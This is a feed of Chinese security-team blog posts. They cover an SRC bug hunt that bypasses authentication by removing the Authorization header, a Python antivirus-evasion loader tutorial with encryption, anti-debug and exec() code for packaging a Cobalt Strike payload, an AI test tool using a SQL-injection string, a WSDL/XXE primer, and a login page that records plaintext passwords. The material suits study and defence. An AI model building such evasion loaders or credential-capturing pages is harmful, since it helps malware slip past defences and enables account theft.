Tide安全团队

Tide团队产品及服务

记某SRC高危漏洞挖掘

Thu, 30 Apr 2026 17:03:00 +0800

原创 oh1inge 2026-04-30 17:03 山东

无聊的时候打开了某SRC，发现了新增资产，于是立即开启了本次的漏洞挖掘之路。

【平台名称、文章内容、接口等已打码脱敏】

无聊的时候打开了某SRC，发现了新增资产，于是立即开启了本次的漏洞挖掘之路。

从开局一个登录框到通用漏洞挖掘

一般针对这种登录框的挖掘思路就是提取js文件的接口进行Fuzz测试，看是否存在未授权访问导致的信息泄露漏洞，以及是否有重置密码的接口、SQL注入、账号密码泄露、用户名枚举、弱口令等，这里我几乎跑了所有的js接口，并没看到什么爆红的数据包，但

心里一喜，是否只要我得到userId值传进去，就可以getuserinfo得到用户敏感数据了？？当时还在想会不会泄露账户密码等信息，js里并未泄露该userid参数，我尝试了11111111 尝试了1 admin 等等均未成功，于是我决定换个思路，查一下该系统互联网的相同资产。

好嘛这么多资产，我找个存在未授权或者弱口令的进去横向挖掘通用漏洞，或者看是否能够收集到该系统的备份源码进行代码审计，再不济收集到userId岂不美哉？此处省略横向打点过程，最终摸到了一个弱口令的系统，进去查看发现存在userid为xxxxxxxxxxxxxxxxxxxxx 很长一段。发现再次请求该接口只能得到如下信息

还是不够啊，于是我就对互联网那个存在弱口令的资产开始漏洞挖掘，后台某个功能点请求了一个新的js文件，这里我们称它为abcdindex.js 就是该js文件泄露了大量的路由接口拿来拼接测试，果不其然，

发现该系统其实有多个子系统功能模块，每个mulu.json都给出了对应系统的API接口也就是BaseUrl和后台接口。拼接遍历，成功取得通用型未授权访问漏洞，某个接口泄露了大量的视频摄像头权限。贴一张厚码的图（大概几百多个摄像头调度权限）

提交该漏洞也是成功斩获高危

发现了那么多的隐藏接口，该漏洞肯定不能到此为止，于是继续开始挖掘。

逻辑缺陷导致鉴权缺失

发现很多接口功能点均提示缺少userId 这种归为A类， A类的接口还需要提供数据库存在的用户id和绑定的租户Id即可实现越权查看该用户信息，但还有一些接口提示鉴权缺失，该接口这里称为B类，但发现只需讲数据包的B的Authorization: Bearer认证头删除即会提示A类的问题，只需添加也可绕过，所以这里对提取到的后台目录进行访问这里直接访问如下：

空白页面，这里使用bp抓包对每一个后端交互的数据包进行认证头删除

？？？？？？？不是你？

这么烂的系统没有权限就能难道本菜鸡吗，我拿前面收集到的用户ID 身份ID 进行参数FUZZ遍历成功得到数据，舒服了。

其实还有很多人员管理等功能模块全部存在缺陷，也是成功绕过拿到该系统的后台管理员权限。斩获高危漏洞，这里根据日志泄露的用户名其实还发现了弱口令用户等多个漏洞，但还未来得及提交，项目就已经进行了关闭。

这两个漏洞相信有耐心的师傅其实都可以挖的到，本文仅是做个记录分享，但实际挖掘过程中需要去寻找的参数还是很多的，而且登录的默认管理用户名比较复杂，也是通过信息收集找了一波操作手册，像一般的SRC资产肯定都被大佬们挖掘的差不多了，几乎不会存在JS接口提取未授权的漏洞产生，但有时转变下思路，去打通杀，再根据0day漏洞或隐藏的文件接口针对性的对原始目标开展攻击，也许会发现到别人挖不到的漏洞，撕开不一样的口子。

往期推荐

Tide团队产品及服务

https://github.com/langsasec/c2-shellcode-py

python免杀工具学习记录

Thu, 23 Apr 2026 17:01:00 +0800

原创 Komorebi 2026-04-23 17:01 山东

最近学习了一下免杀相关的知识，参考了互联网几个公开项目的思路,尝试自己开发了一个小工具，本文主要用来记录一下主要思路。

0x01 前言

最近学习了一下免杀相关的知识，参考了互联网几个公开项目的思路,尝试自己开发了一个小工具，本文主要用来记录一下主要思路。

0x02 思路

根据大部分公开工具的思路来看，发现可以采用多层防护的架构设计以获得比较突出的免杀效果，主要包含以下几个核心组件：

密钥生成器
主加载器
加密payload
配置管理

0x03 实现核心功能

密钥生成

AES-GCM + ChaCha20 组合加密

from cryptography.hazmat.primitives.ciphers.aead import AESGCM, ChaCha20Poly1305
import os
def hybrid_encrypt(data: bytes) -> tuple:
# AES-GCM加密
    aes_key = os.urandom(32)
    aes_nonce = os.urandom(12)
    aes_cipher = AESGCM(aes_key)
    aes_encrypted = aes_cipher.encrypt(aes_nonce, data, None)
# ChaCha20二次加密
    chacha_key = os.urandom(32)
    chacha_nonce = os.urandom(12)
    chacha_cipher = ChaCha20Poly1305(chacha_key)
    final_encrypted = chacha_cipher.encrypt(chacha_nonce, aes_encrypted, None)
return final_encrypted, aes_key, aes_nonce, chacha_key, chacha_nonce

这里使用两种不同算法组合，增加破解难度;AES-GCM提供认证加密，ChaCha20提供速度。

随机分割符密钥

ran_num = random.randint(1,10)  # 随机长度1-10
ranStr = ''.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'], ran_num))
split = ranStr + '=bypass'# 分割符格式

使用长度随机+字符随机以获得更好的免杀效果

动态代码结构密钥

x = '''
import ctypes
'''+ranStr+'''=bytearray('''+shellcode+''')
'''+split+'''
# ... 后续代码
'''

这里使用随机字符串作为变量名，并且每次生成不同的代码结构。

反调试功能

使用Windows API IsDebuggerPresent() 检测是否在调试器环境中运行,如果检测到调试器，那么返回False并记录警告日志.

def _anti_debug(self):
"""反调试功能"""
    try:
if ctypes.windll.kernel32.IsDebuggerPresent():
            logger.warning("检测到调试器")
return False
return True
    except Exception as e:
        logger.error(f"反调试检查失败: {str(e)}")
return True

适当增加延迟

添加随机延迟,可以增加行为分析的难度

random_delay = random.randint(1, 10) * 0.1
time.sleep(random_delay)

应用场景：

logger.debug("开始执行payload")
# 使用base64编码
encoded_payload = base64.b64encode(payload.encode('utf-8'))
# 添加随机延迟
random_delay = random.randint(1, 10) * 0.1
time.sleep(random_delay)
# 执行payload
exec(payload)

代码分割和分块加密

将长代码分割成64字节的小块，然后每个块单独加密，避免整体特征识别，从而破坏代码的完整性特征，增加静态分析难度。

def encrypt_message(self, message: str, chunk_size: int = 64) -> List[str]:
"""将消息分块加密"""
    chunks = [message[i:i+chunk_size] for i in range(0, len(message), chunk_size)]
    encrypted_chunks = []
for i, chunk in enumerate(chunks):
        encrypted_chunk = self.fernet.encrypt(chunk.encode('utf-8'))
        encrypted_chunks.append(encrypted_chunk)
return encrypted_chunks

运行时解密执行

延迟解密策略

def execute_payload(self, payload: str):
# 使用base64编码
    encoded_payload = base64.b64encode(payload.encode('utf-8'))
# 添加随机延迟
    random_delay = random.randint(1, 10) * 0.1
    time.sleep(random_delay)
# 执行payload
exec(payload)

使用exec()动态执行，绕过静态检测。静态扫描时只能看到加密后的代码，只有在运行时才进行解密和执行，总体来说，这个脚本我采用的思路主要有六部分

代码分割：可以破坏完整性特征
双重加密：形成了多层防护体系
动态生成：避免固定特征
运行时解密：用来绕过静态检测
日志混淆：可以干扰分析过程
异常伪装 - 模拟正常软件

这些技术相互配合，形成了一个相对完整的免杀防护体系，进而提高了绕过杀毒软件检测的成功率。

0x04 实际效果

1、首先生成免杀的exe

pyinstaller --onefile --hidden-import cryptography bypass.py

打包生成可执行exe

2、然后使用CS生成python类型payload

3、使用密钥生成脚本生成3个key值后，依次填入主程序脚本中的中三个留空值，然后使用

pyinstaller --onefile --hidden-import cryptography --windowed bypass.py

打包输出隐藏控制台窗口的可执行文件exe，输出在dist目录下. 双击或命令行start即可执行。

0x05 免杀效果

0x06 参考项目

https://blog.csdn.net/qq_32261191/article/details/108994177

https://github.com/Soufaker/moon_kill

https://github.com/HZzz2/python-shellcode-loader

往期推荐

Tide团队产品及服务

基于AI的自动化测试工具的探索

Tue, 14 Apr 2026 17:01:00 +0800

原创浮生若梦 2026-04-14 17:01 山东

一款能让 AI 真正动手操作浏览器，像一个资深测试工程师一样，自主探索系统、发现问题、生成用例的

一、为什么做这个工具？

软件测试是开发流程中不可或缺的一环，但现实中它往往是最痛苦的环节：

手工测试：重复枯燥，依赖测试人员经验，容易遗漏边界场景
传统自动化（Selenium/Playwright）：需要编写大量测试脚本，页面一改脚本就废，维护成本极高
AI 辅助测试：市面上的方案大多停留在"AI 生成测试用例文本"，仍需人工执行

有没有一种方案，能让 AI 真正动手操作浏览器，像一个资深测试工程师一样，自主探索系统、发现问题、生成用例？

为此我们尝试做了TestFlow——一款自动化功能测试工具。更重要的是，这种方法并不局限于传统的软件功能测试，还可以自然扩展到更多安全与质量场景，比如渗透测试、配置核查、安全分析等，让 AI 直接参与系统交互，从“写用例”进化为“做测试”。

二、TestFlow 是什么？

TestFlow 是一款 AI 驱动的全自动软件功能测试桌面工具。它的核心理念是：

让大模型充当测试工程师，自主完成"看页面 → 做判断 → 执行操作 → 记录结果"的完整闭环。

你只需要提供：

被测系统的 URL
登录账号密码（如需要）
选择一个 AI 模型

点击"开始测试"，TestFlow 就会自动启动浏览器，像真人一样逐页面、逐功能地进行测试，并实时生成标准化测试用例。

核心特性一览

零脚本：不需要写一行测试代码
AI 自主决策：大模型自主规划测试路径、设计测试用例
多模态感知：截图 + DOM 双通道理解页面
实时可视化：浏览器画面实时同步到界面
标准化输出：自动生成符合 GB/T 25000 标准的 Excel 测试报告
多模型支持：OpenAI、Claude、DeepSeek、豆包、Ollama、vLLM 等提供商
单文件部署：编译为单个 EXE，开箱即用

三、系统架构

TestFlow 采用 Go + Wails v2 + Vue 3 的三层架构

3.1 为什么选择这套技术栈？

选型	理由
Go	编译为原生二进制，无运行时依赖；goroutine 天然适合并发处理 AI 流式响应 + 浏览器控制
Wails v2	Go 生态的 Electron 替代品，生成的 EXE 体积仅 ~15MB（Electron 动辄 150MB+）
Vue 3 + Element Plus	成熟的企业级 UI 方案，三栏布局开发效率高

3.2 前后端通信机制

Wails 的独特之处在于它不走 HTTP，而是通过 Go 方法绑定 直接暴露后端函数给前端 JavaScript 调用：前端直接调用，就像调本地函数一样：实时数据（截图、用例、AI 流式输出）则通过 Wails EventsEmit 从 Go 端推送到前端：

四、AI 自主测试循环引擎

TestFlow 最核心的创新点 —— Autonomous Test Loop。

4.1 循环流程

整个测试过程是一个不断循环的闭环：

第一步：页面感知 — 通过 go-rod 截取浏览器截图，同时提取页面所有可交互元素（按钮、输入框、链接等）的结构化 DOM 信息。

第二步：AI 分析 — 将截图和 DOM 数据连同历史上下文一起发送给多模态大模型。AI 会分析当前页面状态，决定下一步操作。

第三步：JSON 解析 — AI 返回严格的 JSON 格式响应，包含要执行的操作、生成的测试用例、当前观察和下一步计划。

第四步：执行操作 — 在浏览器中执行 AI 指令的操作：点击按钮、填写表单、选择下拉框、页面滚动等。

第五步：用例生成 — 如果 AI 判断当前操作构成一个完整的测试场景，自动生成标准化测试用例。

第六步：循环判断 — 检查是否满足终止条件（AI 声明完成 / 达到用例上限 / 用户手动停止），否则回到第一步继续。

4.2 AI 响应的结构化协议

TestFlow 设计了一套精确的 JSON 协议来约束 AI 的输出：

这套协议的巧妙之处在于：

操作与用例解耦：不是每次操作都生成用例，导航等操作设置 generate: false
批量操作支持：通过 actions 数组支持表单填写等多步连续操作，减少 AI 交互轮次
自终止机制：AI 通过 is_finished: true 自主声明测试完成

4.3 智能对话历史管理

在长时间测试中，对话历史会不断增长，可能超出模型的上下文窗口。TestFlow 实现了两个关键优化：

上下文裁剪：当消息历史超过 42 条时，自动保留最近 40 条，确保不超出 Token 限制：

已测功能摘要注入：每轮交互会将已测过的模块和用例名称注入到提示中，告诉 AI "这些已经测过了，不要重复"：

【已测试功能摘要（勿重复）】
- 登录认证: 空用户名空密码, 错误密码, SQL注入, 正确登录
- 用户管理: 新增用户, 编辑用户, 删除用户

再配合内存中的 testedKeys 去重 Map，实现双重防重复机制。

五、多模态页面感知系统

TestFlow 如何"看懂"一个网页？这是另一个核心技术点。

5.1 DOM 结构化提取

TestFlow 通过注入 JavaScript 代码，提取页面所有可交互元素的关键属性：

每个元素提取 tag、id、class、text、type、placeholder 等属性，最终组成一个结构化 JSON 数组，让 AI 精确知道页面上有哪些可操作的元素。

5.2 智能模式（Smart Mode）

默认推荐的智能模式会根据页面复杂度自动切换：

DOM 可交互元素 ≥ 10 个：仅用 DOM 数据，速度快、省 Token
DOM 元素稀少（**< 10 个**）或连续 DOM 模式已达 5 轮：自动加入截图，借助视觉能力补充理解

这在实际使用中非常实用：管理后台的表单页面元素密集，DOM 模式完全够用；而某些可视化大屏、图表页面需要截图才能理解。

5.3 视觉能力自动降级

不是所有模型都支持图片输入。TestFlow 内置了视觉能力检测：

当检测到模型不支持视觉时，自动剥离消息中的图片内容，降级为纯文本 DOM 模式。这使得纯文本模型（如 DeepSeek-Chat）也能正常使用。

六、AI 提供商覆盖

TestFlow 采用 OpenAI Chat Completions 协议 作为统一通信标准。由于主流 AI 提供商（包括国产的 DeepSeek、豆包）都兼容这套协议，一个 HTTP 客户端即可适配所有提供商。

关键的差异化处理包括：

认证头自动适配：

消息格式智能序列化：当消息只包含文本时，content 字段序列化为字符串（兼容性最广）；包含图片时，自动切换为数组格式：

支持 本地私有化部署（Ollama、vLLM）也是一个重要考量 —— 在数据安全敏感的场景下，所有数据都可以在内网流转，不出企业边界。

七、提示词工程：AI 测试的"灵魂"

提示词是控制 AI 测试行为的核心。TestFlow 内置了一套精心设计的系统提示词，赋予 AI "资深测试工程师"的角色。

7.1 五大测试方法自动应用

提示词中内嵌了标准软件测试方法论，AI 会自动运用：

等价类划分 — 有效/无效输入分类测试
边界值分析 — 最小值、最大值、超长输入
场景法 — 完整业务流程走通
错误推测法 — SQL 注入、特殊字符
判定表 — 多条件组合

7.2 "先异常后正常"的铁律

这是提示词设计中的一个关键策略：

任何含表单的页面，必须先穷举异常场景，最后才执行正向流程。

为什么？因为一旦正向操作成功（比如登录成功跳转），当前页面的异常测试机会就永久丢失了。以登录页面为例，AI 会严格按这个顺序执行：

顺序	场景	方法
1	全空直接提交	等价类-无效
2	空用户名+任意密码	等价类-无效
3	任意用户名+空密码	等价类-无效
4	不存在账号+任意密码	等价类-无效
5	正确用户名+错误密码	等价类-无效
6	SQL注入 `' OR 1=1--`	错误推测
7	超长用户名(>100字符)	边界值
8	正确账号密码登录	场景法-正向

7.3 AI 智能生成定制化提示词

除了内置默认提示词，TestFlow 还支持 用 AI 生成针对特定系统的定制提示词：

输入系统名称和 URL，AI 会推测系统类型（电商？OA？CMS？），自动调整测试策略和功能模块描述。

八、浏览器操作引擎

TestFlow 支持 7 种浏览器操作类型：

操作类型	说明	典型场景
`click`	点击元素	按钮、链接、菜单项
`input`	输入文本	表单填写
`select`	选择下拉项	下拉框选择
`navigate`	页面跳转	URL 导航
`scroll`	滚动页面	懒加载内容
`hover`	鼠标悬停	展开下拉菜单
`wait`	等待	页面加载

8.1 智能元素定位

一个有趣的技术细节：AI 有时会生成 jQuery 风格的 :contains('文字') 选择器，但原生 querySelector 不支持。TestFlow 实现了透明兼容：

当检测到 :contains 时，自动转换为 JavaScript 查询，遍历候选元素找到包含指定文字的那个。

8.2 高速表单输入

传统的浏览器自动化通常逐字模拟键盘输入，速度很慢。TestFlow 使用 JavaScript 直接设置 value，再触发框架事件：

这确保了 React、Vue 等框架都能正确响应值变化，同时速度提升数十倍。

九、测试用例自动生成

测试完成后，一键导出专业的 Excel 测试报告：

测试汇总页：总用例数、通过/失败/阻塞统计、各模块汇总表
按模块分Sheet：每个功能模块独立一个工作表
完整字段：编号、模块、名称、前置条件、步骤、预期/实际结果、状态、优先级、测试方法
状态着色：通过为绿色、失败为红色，一目了然：

最终测试用例示例

十、使用指南

10.1 快速开始

下载：获取 TestFlow.exe（单文件，无需安装）
启动：双击运行，主界面自动打开
配置 AI：在设置页选择 AI 提供商，填入 API Key（使用 Ollama 本地部署则无需 API Key）
填写信息：在主界面左侧填入被测系统的 URL、用户名、密码
开始测试：点击"开始测试"，坐等结果

10.2 界面布局说明

主界面采用三栏布局，可拖拽调整宽度：

区域	内容
左栏	系统信息表单 + AI 实时响应流（JSON 格式化展示）
中栏	浏览器实时截图 + 操作日志
右栏	测试进度日志 + 按模块分组的用例列表

10.3 提示词定制

在提示词管理页面，你可以：

查看和编辑默认提示词
创建针对特定系统的自定义提示词
使用"AI 生成"功能，让 AI 根据系统信息自动生成定制提示词

写在最后

在软件工程的历史中，每一次生产力的跃迁，都会重新定义“人”的角色。从手工编码到自动化框架，从脚本驱动到模型驱动，我们正在经历又一次范式转变。

AI 不再只是辅助工具，它正在逐步成为真正的“执行者”。像 TestFlow 或者我们之前的【自动化渗透测试工具】这样的探索，本质上是在回答一个问题：当机器可以理解界面、做出判断并完成操作时，人还应该做什么？

答案或许已经逐渐清晰—— 未来，重复性的执行工作会越来越多地交给 AI，而人的核心价值，将从“亲自做事”转变为“设计规则、驾驭工具、放大效率”。

工程师不会消失，只是不再需要重复的去写测试用例、逐项测试、逐项配置核查、逐个测试结果分析，但会进化为测试策略的设计者、AI 行为的引导者、质量体系的守护者。

AI 时代已经到来，它不会取代所有人，但一定会取代那些只停留在重复劳动中的工作方式。真正重要的，不是与 AI 竞争，而是学会如何利用 AI，让自己站在更高的效率杠杆之上。

往期推荐

Tide团队产品及服务

好好吃饭打好基础之初遇wsdl

Wed, 01 Apr 2026 17:05:00 +0800

原创 swordlover 2026-04-01 17:05 山东

WSDL（Web Services Description Language，Web服务描述语言）是一种基于 XML 的语言，用于描述网络服务的具体功能。

"Nothing happens without a cause." --斯宾诺莎 (Baruch Spinoza)

曾经有一个眼神清澈的青年，他在酒店房间中快速浏览着网页，渐渐的，他面红耳赤、心跳加速、~~荷尔蒙侧漏~~，突然，他看到了一个令他不解的东西，一个条链接的后面赫然挂着?WSDL。这是什么，难道建立这个网站的人想告诉世人，我(W)是(S)大(D)佬(L)吗？为了弄清楚一切，这位青年，开始翻阅起资料......

一、扒一扒WSDL的底

WSDL（Web Services Description Language，Web服务描述语言）是一种基于 XML 的语言，用于描述网络服务的具体功能。它的主要目的是告诉外界：

“我这里提供了一个服务。” “这个服务可以通过什么方式访问（地址、协议）。” “这个服务里有哪些可以调用的方法（函数）。” “调用这些方法需要传入什么参数，参数是什么类型。” “调用成功后，它会返回什么样的数据。”

文字叙述难以理解，找个有关网站我们看一下：

QUAKE:body:" AND title: "WebService Web 服务"

正常打开的界面如下，这也是个特征，.net的基本都长这样。

然后http://yoururl?wsdl，这样就可以看到XML了

可以看到打开以后能看到一大片标签（这里就不展开内容了，要打码，打码看多了对身体不好），这些标签的意思大概如下：

types:定义参数和返回值的数据类型（比如字符串、整数、或是自定义的复杂对象）。
messages:说明每个功能需要什么输入（参数）和会产生什么输出（返回值）。
portType:说明服务提供哪些大类功能（操作）
binding:说明服务使用的通信协议（如 SOAP over HTTP）
service:如何连接到服务

当然，在任何资料里寻找WSDL都会发现和SOAP密不可分，他们俩就好像初恋的大学生，火热、清澈、胶黏~

那他们的关系呢，我们用个例子来说假设有个服务器，发布了一个WSDL，提供查询开房次数功能


"getkaifanglog">
  "tns:getkaifanglogRequest"/>
  "tns:getkaifanglogResponse"/>

这时候，来一个年轻的女孩叫小美，他看到了这个WSDL，想查询男朋友小帅的开房记录，于是他构造了SOAP请求。

"...">
  
    "http://example.com/xxx">
      小帅

服务器查询到了小帅的开房记录，并用SOAP的形式告诉了小美。

"...">
  
    "http://example.com/kaifanglog">
      2,147,483,647

小美伤心欲绝，从此发誓要远离渣男，并留下了这么一张图。

总结一句话：WSDL 是一份基于 XML 的详细说明书，它告诉客户端如何与一个 SOAP Web 服务进行交互，包括服务地址、可用方法和参数格式。

二、WSDL相关的一些漏洞利用

以下截图均为个人内网环境靶场！既然提到了wsdl，就有看了看相关的一些漏洞以及佬们用的工具。（此处非常基础，佬们可以小手点点赞然后退出就好了嘿嘿嘿） 1、信息泄露（用户枚举）个人理解，既然暴露了如何交互，就可以利用它去尝试找可以暴漏用户信息的地方，例如：

2、常见web漏洞如xxe、sql注入:

3、一定要写大佬们都推荐的工具-Wsdler burp商店自带，下载非常便捷

找到扩展，点击直接使用

有问题的地方直接就显示出来，可以转发到重发器里自己再搞一搞（非靶场环境下记得戴好安全措施哦）

三、防御建议

生产环境中禁用或限制WSDL访问（例如，仅允许内网IP访问？wsdl）。
使用严格的XML解析器，禁用DTD、外部实体（resolve_entities=False）。
对所有输入进行严格的校验和净化（白名单）。
使用预编译的参数化查询（防止SQLi）。
实施严格的基于身份验证和授权的访问控制。

往期推荐

Tide团队产品及服务

构建登录日志系统：Node.js + ExcelJS

Thu, 12 Mar 2026 17:04:00 +0800

原创 Komorebi 2026-03-12 17:04 山东

这是一个可以用来记录登录日志的系统，文章主要用来记录一下大体的实现思路。

0x01 前言

这是一个可以用来记录登录日志的系统，文章主要用来记录一下大体的实现思路。

0x02 项目效果

登录日志的功能可以实时记录所有用户的登录信息，包括输入的用户名、密码、来源IP及登录时间；同时后台将日志保存为Excel格式，便于相关人员查看和分析。

0x03 前期的技术选择与架构设计

Node.js+Express.js：作为后端服务，Node.js的事件驱动、非阻塞I/O特性还是比较适合处理大量的并发登录请求的。 ExcelJS：替代了有问题的xlsx库，提供了更稳定、功能更丰富的Excel文件处理能力。原生前端技术：使用HTML/CSS/JavaScript 构建界面，避免了框架依赖，同时也提高了系统的稳定性和加载速度。

架构设计

系统主要通过三个主要组件来实现功能

后端服务器 (server.js)-提供API接口和Excel文件处理
登录页面-模拟真实的企业登录界面
日志查看器 (logs-viewer.html)-提供日志管理和查看功能

0x04 核心功能实现

对于整个项目的实现思想来说，重要的核心功能之一就是如何实现准确获取来源IP。

自动获取用户的真实IP地址

使用Express.js的trust proxy配置，让Express信任代理服务器转发的请求头。同时确保IP格式的一致性。

生成美观易懂的Excel表格

考虑到登录信息可能并发量比较大，那么就要求我们的生成表格功能要实现自动创建、更新和管理Excel格式的登录日志文件，而且支持追加新记录和保持现有数据。

这里我刚开始时用的xlsx库，但是后来实测发现总是出现各种问题，后来使用ExcelJS库替代有问题的xlsx库，并且实现了自动创建表头和样式（粗体、背景色），而且支持文件追加模式，不覆盖现有数据，同时具备完整的错误处理和日志记录。

集成前端日志记录

在登录页面中无缝集成日志记录功能，每次用户登录时都会自动发送日志数据。

完整的日志管理界面

这个界面可以提供Web界面的日志查看器，支持文件列表、内容预览、下载等功能。

0x05 系统工作流程

1、用户登录流程

用户输入账号密码 → 前端记录日志 → 发送到后端API → 获取真实IP → 写入Excel文件 → 返回成功响应

2、登录日志的记录与管理流程

管理员访问查看器 → 获取文件列表 → 选择文件查看内容 → 下载或预览日志数据

0x06 实现效果

整个项目的实现思路以及准备就如前文所述，接下来咱们启动一下看看具体效果。

前端登录页面：

后台输出的请求日志记录

前端请求日志查看

导出的Excel表格及打开效果

0x06 获取方式

如果有想进一步了解使用的小伙伴，请关注Tide安全团队公众号，发送登录日志系统，获取源码哦。

往期推荐

Tide团队产品及服务

新潮信息-Tide安全团队2025年度总结

Wed, 31 Dec 2025 15:03:00 +0800

原创重剑无锋 2025-12-31 15:03 山东

2026，新岁景明，步履坚定，昭昭如愿，岁岁安澜。

序言

日月交替，斗转星移。

倏忽间，2025年倒计时的钟声已经敲响。

站在年末岁尾，让我们为2025年画上一个句号，可能不太圆满，但仍期冀这一年来所有的奔赴都有意义。

2025 年，没有喧哗的转折，也没有刻意的铺陈，有的只是一个又一个项目的顺利推进，一次又一次关键任务的如期完成，以及在不同场景中持续发挥价值的专业支撑。

如果一定要用一句话形容这一年，或许是：在被需要的地方，我们一直都在。

年度概览

2025 年，网络安全行业持续演进，技术与业务的融合不断加深，对专业能力、交付质量和协同效率提出了更高要求。

在这样的背景下，我们持续完成了数量稳步增长的项目交付，在多条业务线上保持了稳定输出，逐步形成了更加成熟、高效的协作节奏。

让有限的资源发挥出更高的效率，让工作重心始终聚焦在“把事情做好”这件事上。

这一年，我们更加确信： 稳定、可靠、可持续的交付能力，是团队最重要的竞争力。

安全服务：不声张，更不能掉链子

安全服务始终是我们的核心工作，也是贯穿全年的主线任务。

2025 年，我们在项目规模持续扩展的同时，始终坚持以交付质量与服务稳定性为首要目标，不断提升整体执行效率与专业水准。

从现场实施到远程支撑，从方案编制到报告输出，团队在不同角色之间灵活切换，形成了高度协同的工作模式。专业、专注、可靠，成为我们服务过程中最鲜明的底色。

围绕“零事故、零通报、零差评”的服务目标，我们持续完善流程、优化预判机制，通过不断复盘与改进，让整体交付更加稳健、可控。

有人说，优秀的安全团队是没有存在感的。或许正因为如此，我们始终更在意：在看不见的地方，把事情一次次做对。

平台与工具：在实践中持续进化

2025 年，对我们来说是平台真正“经受现实检验”的一年。

2024年的时候，我们开发的潮擎智能化服务平台客户端在公司内部小范围试用。2025年客户端已经在公司内全面使用，完成了对商用平台的取代和数据平稳迁移，开发小组在完善客户端的同时又从零开始开发服务端，目前服务端也已经进入小范围试用阶段。

这不是一个“一蹴而就”的过程，而是一个不断修正、不断打磨的过程，伴随着大量真实项目的数据流转、问题反馈和使用习惯修正，平台历经15次版本升级，响应Bug/需求260余项，这让平台从“能用”，逐步走向“可依赖”。

与此同时，无影、Tscan、扶摇等内部工具也在持续打磨中不断成熟，让思路沉淀为工具，让工具反哺效率，这给我们的项目实施和应急支撑带来了很大的助力。

让工具更自动化和智能化，让人更专注化和精细化，是我们始终坚持的方向。

攻防与应急：不闪耀，但持续在场

2025 年，我们持续参与多项省市级攻防演练与实战任务，在不同场景下积累实战经验、提升综合能力。

在0day与高级社工成为“破局利器”的今天，我们的积累并不占优，这并非妄自菲薄，而是对现实清醒的认知。

面对不断演进的攻防技术体系，我们选择了一种更务实的态度：在实战中校准认知，在演练中补齐短板，让团队能力始终保持在线状态。

与之相比，我们在应急技术支撑领域的价值则更加凸显且不可替代。从配合监管部门的专项行动，到保障重大活动期间的网络清朗，从一份份及时的漏洞报送，到一篇篇深入的地域性安全态势分析，我们的工作渗透在区域网络安全的毛细血管中。

这种支撑，靠的不是单点的技术炫技，而是对政策的理解、对流程的熟悉、对责任的敬畏，当“多元化支撑”成为常态，我们就是那块需要时随时顶上的“基础模块”。

CTF与竞赛：热爱可抵岁月忙

在日常工作之外，CTF赛场上的那份热爱依然生长。从线上赛的云端博弈，到线下赛的实地交锋。

星光不负赶路人。这一年，我们荣获二等奖2项、三等奖7项、优胜奖1项。这可能和我们理想的目标还有些许差距，但每一份荣誉都是成长的见证。

相比成绩，我们更珍惜这种能为共同爱好集结、并肩作战的状态，它让技术保持敏感，让团队保持连接，也让热爱成为推动前行的内在动力。

因热爱而投入，因纯粹而珍贵。

技术输出：形式变化，积累未停

这一年，技术文章和内部培训的数量锐减。

随着业务重心的调整，技术沉淀更多地融入到项目实践、工具建设和场景探索之中，从“写出来”逐步转向“用出来”。于细微处筑牢安全之基，于实践中淬炼专业之力。

在实战中总结经验，在实践中校验思路，在探索中理解 AI 与安全的结合方式，这些积累或许不张扬，却真实而扎实。

思考从未停下，只是换了一种方式继续。

AI 与现实：焦虑之外，与变化同行

2025 年，AI 对安全行业的影响更加直接，也更加具体。

自动化能力在提升，工具在变强，一些原本高度依赖人工的工作正在被重新定义。焦虑是真实存在的，紧迫感也是。

但这一年我们也越来越清楚地认识到：AI 擅长的是效率，而安全真正的价值，往往存在于不确定性里。

AI替代的不是安全工程师，而是重复劳动。我们能做的，不是抗拒变化，而是尽可能让自己站在变化的前面一点点。

算法正在逼近最优解，而安全从来不是一条直线的计算过程。在噪声、误判与未知之间，仍需要有人理解上下文、承担责任，并在不确定中做出选择。

写在最后

2025 年，没有掌声雷动，也没有高光时刻。这一年，或许我们不是走得最快的那一群人，但我们还在稳步前行。

山有顶峰，湖有彼岸，在人生漫漫长途中，万物皆有回转。当我们觉得余味苦涩，请你相信，一切终有回甘。

前方，道阻且长，行则将至。

身后，初心未改，温暖可期。

2026，新岁景明，步履坚定，昭昭如愿，岁岁安澜。

往期推荐

Tide团队产品及服务

无影v3.1发布—上线小程序反编译等新功能

Thu, 11 Dec 2025 16:57:00 +0800

原创重剑无锋 2025-12-11 16:57 山东

无影(TscanPlus)v3.1发布，新增微信小程序反编译、全面升级PoC检测引擎、国密网站探测、Nessus扫描、DumpALL、水洞专用等功能。

无影(TscanPlus)，一款综合性网络安全检测和运维工具，旨在快速资产发现、识别、检测，构建基础资产信息库，协助甲方安全团队或者安全运维人员有效侦察和检索资产，发现存在的薄弱点和攻击面。

【主要功能】 信息搜集、端口探测、服务识别、URL指纹识别、POC验证、弱口令猜解、目录扫描、UrlFinder、域名探测、网络空探、项目管理等。

【辅助功能】 编码解码、加密解密、CS上线、反弹shell、杀软查询、提权辅助、常用命令、字典生成、JAVA编码、资产分拣、Hots碰撞、40xBypass、Jwt破解、Ip归属地查询等。

TscanPlus 功能介绍可参考文章：《TscanPlus——一款红队自动化工具》

1、关于无影

无影(TscanPlus)于2024年上线v1.0版本，历时一年多时间终于上线v3.1版，Github上Star数量3k，也有了一定的用户群体，在此也非常感谢大家对无影的支持和帮助。

在3.0版本新增Awvs、AI辅助分析等功能后，3.1版本新增微信小程序反编译、全面升级PoC检测引擎、国密网站探测、Nessus扫描、DumpALL、水洞专用等多个模块，并新增空间测绘DaydayMap接口、备案查询ICP_Query接口等。

2、新功能介绍

2.1 新增微信小程序反编译功能

全新集成小程序反编译功能，兼容微信3.0与4.0版本，可自动分析并匹配小程序路径，在内容发生变化时实现自动刷新，极大提升分析效率。

工具内置安全审计能力，支持用户自定义敏感信息匹配规则，并对小程序、小程序组件信息及识别的敏感内容进行本地缓存。同时，提供一键清空反编译结果与缓存、手动重载及手动反编译等操作。

2.2 全面升级PoC检测引擎

POC检测引擎从Xray 1.0全面升级至Nuclei，支持单线程代理模式与多线程高性能模式智能切换，可根据网络环境自动选择最优扫描策略。集成Interactsh带外检测能力，支持自定义Header、Cookie及AI智能分析漏洞结果。

另外，从Nuclei官方templates及其他多种渠道获取PoC总数15w左右，经过多种去重、格式校验、AI误报率审核、不常见poc去重等，最后精选5400+内置在无影中，并可支持用户自定义外置Poc。

